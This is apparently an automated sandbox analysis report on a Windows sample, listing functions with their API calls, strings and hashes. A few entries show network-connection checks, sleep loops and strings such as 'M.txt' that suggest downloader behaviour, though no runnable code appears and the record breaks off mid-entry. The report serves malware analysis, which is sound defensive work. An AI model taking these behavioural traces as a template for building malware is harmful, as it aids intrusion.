API ID: Maklocwcsstd::_$Yarn
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1194159078-3743323925
Opcode ID: 5d4962b39fd07b777b164d7b9a713fa1bee80c8d123ce2088ff48aaf3eafe067
Instruction ID: 4dde113ea00367c4eb6d4372bcc12a677072938473d2540617b5600fc5f1b8cc
Opcode Fuzzy Hash: 5d4962b39fd07b777b164d7b9a713fa1bee80c8d123ce2088ff48aaf3eafe067
Instruction Fuzzy Hash: A4215122A0AB4686EA10EB25E4413BD73B0EB96F84F498135EB4D83756DF3CF895C740

Function 00007FF6A54DFF70 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6A54DFFCD

Part of subcall function 00007FF6A54E2330: __GetUnwindTryBlock.LIBCMT ref: 00007FF6A54E2373
Part of subcall function 00007FF6A54E2330: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6A54E2398

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6A54E00A5
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6A54E02F3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6A54E0400

Strings

csm, xrefs: 00007FF6A54DFFE7
csm, xrefs: 00007FF6A54E004E
csm, xrefs: 00007FF6A54E00C8

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 5d6ddb46fddb62dcb6d5fccab5f44789c93ad0723b7c46ba309f4a08e2c6cabf
Instruction ID: 45682bfe979ce3fcb2ad7df6b98e6829488a9de49f963794f051902fdbbe5268
Opcode Fuzzy Hash: 5d6ddb46fddb62dcb6d5fccab5f44789c93ad0723b7c46ba309f4a08e2c6cabf
Instruction Fuzzy Hash: 0FD15E32A097428AEB60DF6594403ED7BA0FB57B98F100135EE9D97B96DF38E991C700

Function 00007FF6A54A1AEB Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54A7180: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A71C9

Part of subcall function 00007FF6A54A9100: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A9166

Part of subcall function 00007FF6A54A7300: InternetOpenW.WININET ref: 00007FF6A54A7338

type_info::_name_internal_method.LIBCMTD ref: 00007FF6A54A1CBB
CloseHandle.KERNEL32 ref: 00007FF6A54A1D69
Sleep.KERNEL32 ref: 00007FF6A54A1D74

Part of subcall function 00007FF6A54A3840: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A38C5

Sleep.KERNEL32 ref: 00007FF6A54A1D89
CloseHandle.KERNEL32 ref: 00007FF6A54A1D94

Strings

STB/, xrefs: 00007FF6A54A1B77
M.txt, xrefs: 00007FF6A54A1BAE

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$CloseHandleSleep$InternetOpentype_info::_name_internal_method
String ID: M.txt$STB/
API String ID: 15892541-1241599132
Opcode ID: 76b51afb5aff4670bf812edd21bf24bcb82751ba93fb30ada2d883f34a336eb3
Instruction ID: 37b3c5b97edde50ebbc7651e1d2e25cb35a76095b07038fea3a66a9f755ea572
Opcode Fuzzy Hash: 76b51afb5aff4670bf812edd21bf24bcb82751ba93fb30ada2d883f34a336eb3
Instruction Fuzzy Hash: A9711271A2E9C291EA61EB10E4512FEA365FFD6B40F801132E68EC79DADF2CD915C740

Function 00007FF6A54F2C44 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54F2C87
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54F3074
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54F3310

Strings

p, xrefs: 00007FF6A54F2DB1
f, xrefs: 00007FF6A54F2DA9
p, xrefs: 00007FF6A54F2D39

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 0534396f76681fee6182308b4ef0558f8f0e6eb64ce6bcf6c9c2df8dad8d6b35
Instruction ID: a511786cf14875b05a2d03c7b24368be62f88f92fe704fbc6ba2733439b4013d
Opcode Fuzzy Hash: 0534396f76681fee6182308b4ef0558f8f0e6eb64ce6bcf6c9c2df8dad8d6b35
Instruction Fuzzy Hash: 1E129162A0E14386FB28DA1DF5542BD7691FF42F54F944136EA89876C8DF3CED888B10

Function 00007FF6A54F9FE8 Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FA415

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d65238d448fa04aa48ed10b74e8a9bd00d4b95505370c997ac1359f5591ceb68
Instruction ID: 64ab0aefe5de1ac6c6737119da277221bb1f2ec2391963653a64355049a7a6f2
Opcode Fuzzy Hash: d65238d448fa04aa48ed10b74e8a9bd00d4b95505370c997ac1359f5591ceb68
Instruction Fuzzy Hash: 82C10322A0E78685E764CB5A90442BE3B91FF83F94F564131EA4E83791DF7DEC898301

Function 00007FF6A54A1644 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54A81C0: InternetCheckConnectionW.WININET ref: 00007FF6A54A81D3

_CallMemberFunction0.LIBCPMTD ref: 00007FF6A54A166D

Strings

M.txt, xrefs: 00007FF6A54A17D6
STB/, xrefs: 00007FF6A54A17A2
#, xrefs: 00007FF6A54A1698
Waiting for Internet connection..., xrefs: 00007FF6A54A1650

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CallCheckConnectionFunction0InternetMember
String ID: #$M.txt$STB/$Waiting for Internet connection...
API String ID: 917332565-3301742459
Opcode ID: a529bee728ea5cab3a462fb131cfc8418009870eb95399fe24118a950620aa37
Instruction ID: 2fe6a3c0ee9860ffbe1886f0cc0ecfa79d9258c6beebecf475187eeff8346085
Opcode Fuzzy Hash: a529bee728ea5cab3a462fb131cfc8418009870eb95399fe24118a950620aa37
Instruction Fuzzy Hash: E991006191E98291EA60EB15E4913FEA364FF96B44F801032E78DC79DAEF2CD905CB50

Function 00007FF6A54E289C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6A54E2AA3,?,?,00000000,00007FF6A54DF5AA,?,?,?,00007FF6A54DF085), ref: 00007FF6A54E2921
GetLastError.KERNEL32(?,?,?,00007FF6A54E2AA3,?,?,00000000,00007FF6A54DF5AA,?,?,?,00007FF6A54DF085), ref: 00007FF6A54E292F
LoadLibraryExW.KERNEL32(?,?,?,00007FF6A54E2AA3,?,?,00000000,00007FF6A54DF5AA,?,?,?,00007FF6A54DF085), ref: 00007FF6A54E2959
FreeLibrary.KERNEL32(?,?,?,00007FF6A54E2AA3,?,?,00000000,00007FF6A54DF5AA,?,?,?,00007FF6A54DF085), ref: 00007FF6A54E29C7
GetProcAddress.KERNEL32(?,?,?,00007FF6A54E2AA3,?,?,00000000,00007FF6A54DF5AA,?,?,?,00007FF6A54DF085), ref: 00007FF6A54E29D3

Strings

api-ms-, xrefs: 00007FF6A54E2941

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 8850ed367ad2d2661b35613ed2634f1a61761a1f19c6c9ecbc9d02f3acf48630
Instruction ID: 82f4314e213e43da8e703e17b746edd4e0a2c8fc18763422c3a8558c0f8c6b51
Opcode Fuzzy Hash: 8850ed367ad2d2661b35613ed2634f1a61761a1f19c6c9ecbc9d02f3acf48630
Instruction Fuzzy Hash: 5631AD21B1F74295EE55DB12A8006B96394FF47FA4F991535ED6D8B380EF3CE8448700

Function 00007FF6A54BECB4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00007FF6A54BED36
_Maklocstr.LIBCPMT ref: 00007FF6A54BED77
_Maklocstr.LIBCPMT ref: 00007FF6A54BED8C

Strings

:AM:am:PM:pm, xrefs: 00007FF6A54BED85
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00007FF6A54BED67
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF6A54BED26

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Maklocstr
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 2987148671-35662545
Opcode ID: 491fbdc8b27c632f473100e7b893b2012ae59e024739ff7ede600f62a4538336
Instruction ID: cf174857236475d01ee88b88b507d355fece378100d6778682db975caec3631f
Opcode Fuzzy Hash: 491fbdc8b27c632f473100e7b893b2012ae59e024739ff7ede600f62a4538336
Instruction Fuzzy Hash: 7F214F26A0AB4585EB10EB21E4412AD77A5FB8AF80F498235DF4D83796DF3CE952C340

Function 00007FF6A54F38C4 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6A54F38D3
FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
FlsSetValue.KERNEL32 ref: 00007FF6A54F3909
FlsSetValue.KERNEL32 ref: 00007FF6A54F3936
FlsSetValue.KERNEL32 ref: 00007FF6A54F3947
FlsSetValue.KERNEL32 ref: 00007FF6A54F3958
SetLastError.KERNEL32 ref: 00007FF6A54F3973

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: cce916f632552c727b67fcfdadb34d9da5b300b22d40e61ab8f623369a31ee8f
Instruction ID: c37465fb698e31f6791aebd3875e94fc30da3b4b87c49ba355607ce7106d5f9e
Opcode Fuzzy Hash: cce916f632552c727b67fcfdadb34d9da5b300b22d40e61ab8f623369a31ee8f
Instruction Fuzzy Hash: 66215B24A0F28243FA6DE739A6455395242EF47FB0F154634E97E8B6D6DE6CAC094700

Function 00007FF6A5504228 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6A5504259
GetLastError.KERNEL32 ref: 00007FF6A5504265
CloseHandle.KERNEL32 ref: 00007FF6A550427D
CreateFileW.KERNEL32 ref: 00007FF6A55042A8
WriteConsoleW.KERNEL32 ref: 00007FF6A55042C7

Strings

CONOUT$, xrefs: 00007FF6A5504289

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 0aa2eead29613c64221a8d04dc2377f85f71da919e83e1575b9bdb53bd8f400c
Instruction ID: bf0bf23b04239f3529e78d445633196476d6b8260c5fb632467d01df93e0b6ca
Opcode Fuzzy Hash: 0aa2eead29613c64221a8d04dc2377f85f71da919e83e1575b9bdb53bd8f400c
Instruction Fuzzy Hash: E0119D25B29A428AE750DB52E84432967A0FB8AFE9F000235EA5EC7794CF7CDC048740

Function 00007FF6A54BC8B8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6A54BC8C5
GetProcAddress.KERNEL32 ref: 00007FF6A54BC8D8
GetProcAddress.KERNEL32 ref: 00007FF6A54BC8EF

Strings

GetTempPath2W, xrefs: 00007FF6A54BC8DE
kernel32.dll, xrefs: 00007FF6A54BC8BE
GetSystemTimePreciseAsFileTime, xrefs: 00007FF6A54BC8CE

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 221e068b16366434f1d0638fdc9193794eda2090b996d2bddc54cd5b93809dff
Instruction ID: 673b5f0a9099c65e807921b51b5935b81de8a2056343289bb40c2738deb95dbd
Opcode Fuzzy Hash: 221e068b16366434f1d0638fdc9193794eda2090b996d2bddc54cd5b93809dff
Instruction Fuzzy Hash: 09E07DACE2BA0795EA04EBA1A8554602364BF4AF65F444436C81E87364EF6C9995C360

Function 00007FF6A54DCD20 Relevance: 9.2, APIs: 6, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6A54DCDCD
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6A54DCE69
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF6A54DCF12
MultiByteToWideChar.KERNEL32 ref: 00007FF6A54DCF3C
MultiByteToWideChar.KERNEL32 ref: 00007FF6A54DCFE4
CompareStringEx.KERNEL32 ref: 00007FF6A54DD031

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: c7ff292a73157add0fb76e898066dc175f59218672ecabb4c1380f991fe55015
Instruction ID: 0348a5797d1db31c9d3e9738dbe8be13c17cef6c3575a0f4433cf25f82bf93c6
Opcode Fuzzy Hash: c7ff292a73157add0fb76e898066dc175f59218672ecabb4c1380f991fe55015
Instruction Fuzzy Hash: 66A1A263B0EA8286EB22CB2494543B967D1EF86F98F444635DA5D877C6DF3CEC458340

Function 00007FF6A54BC940 Relevance: 9.2, APIs: 6, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6A54BC9B0
MultiByteToWideChar.KERNEL32 ref: 00007FF6A54BCA4E
LCMapStringEx.KERNEL32 ref: 00007FF6A54BCAB7
LCMapStringEx.KERNEL32 ref: 00007FF6A54BCB09
LCMapStringEx.KERNEL32 ref: 00007FF6A54BCBAE
WideCharToMultiByte.KERNEL32 ref: 00007FF6A54BCC08

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: be977926f54e8f99678e66b6dfed3aaa2fea12904ec4e2e7909252ac35aba288
Instruction ID: 976b10a4fe267c85ab43d5fe1f9c9526dd59d87adab859dae87e988b7641e439
Opcode Fuzzy Hash: be977926f54e8f99678e66b6dfed3aaa2fea12904ec4e2e7909252ac35aba288
Instruction Fuzzy Hash: 3C81BF72A0AB4286EB20DF64A48026D73A5FB56FE8F154635EA5D87BC6DF3CD8018700

Function 00007FF6A54E8514 Relevance: 9.2, APIs: 6, Instructions: 157COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E8586
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E85B7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E85F7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E8639
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E866E
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E86EB

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 51887e40b81f6b9dcb2a3f2792477ec99a994f664744b9fb1afaed4a08f7a9d9
Instruction ID: 0cf146a6d0b919cde7a7ed444cbffecd7a520ca188471e9cd12902a0e7b13d0e
Opcode Fuzzy Hash: 51887e40b81f6b9dcb2a3f2792477ec99a994f664744b9fb1afaed4a08f7a9d9
Instruction Fuzzy Hash: 13515E2290E68695EF52DF2494602FD3BA1EB43F48F588471CF8D87396DE2DAC46C702

Function 00007FF6A54E0440 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6A54E05DE
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6A54E0907

Strings

csm, xrefs: 00007FF6A54E0587
csm, xrefs: 00007FF6A54E0605
csm, xrefs: 00007FF6A54E0525

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: c5fc86108eb9f4d39f3ddcd34d437f5d6ef7e4a552dee04ad6716edea358470b
Instruction ID: 6672ca8e4a806e54af3dd3817323faa91039bbf02c2a7513b1c3e43beab1eab6
Opcode Fuzzy Hash: c5fc86108eb9f4d39f3ddcd34d437f5d6ef7e4a552dee04ad6716edea358470b
Instruction Fuzzy Hash: 2AE17E7390A6828AE720DF25D4803ED3BA0FB57B58F144135DE9D97A96DF38E985CB00

Function 00007FF6A54F3A3C Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00007E89DF901C4E,00007FF6A54E7B89,?,?,?,?,00007FF6A54F3EC2,?,?,00000000,00007FF6A54FD4DB,?,?,?), ref: 00007FF6A54F3A4B
FlsSetValue.KERNEL32(?,?,00007E89DF901C4E,00007FF6A54E7B89,?,?,?,?,00007FF6A54F3EC2,?,?,00000000,00007FF6A54FD4DB,?,?,?), ref: 00007FF6A54F3A81
FlsSetValue.KERNEL32(?,?,00007E89DF901C4E,00007FF6A54E7B89,?,?,?,?,00007FF6A54F3EC2,?,?,00000000,00007FF6A54FD4DB,?,?,?), ref: 00007FF6A54F3AAE
FlsSetValue.KERNEL32(?,?,00007E89DF901C4E,00007FF6A54E7B89,?,?,?,?,00007FF6A54F3EC2,?,?,00000000,00007FF6A54FD4DB,?,?,?), ref: 00007FF6A54F3ABF
FlsSetValue.KERNEL32(?,?,00007E89DF901C4E,00007FF6A54E7B89,?,?,?,?,00007FF6A54F3EC2,?,?,00000000,00007FF6A54FD4DB,?,?,?), ref: 00007FF6A54F3AD0
SetLastError.KERNEL32(?,?,00007E89DF901C4E,00007FF6A54E7B89,?,?,?,?,00007FF6A54F3EC2,?,?,00000000,00007FF6A54FD4DB,?,?,?), ref: 00007FF6A54F3AEB

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 27d77956a10e90ab490f0c721eba82fc7909f63d3c8e08e5310a8756c397005d
Instruction ID: 21f88aa6ab6007ef8c7a2a95df1f709942b73c29e08a5002e9bd15e9fbd02569
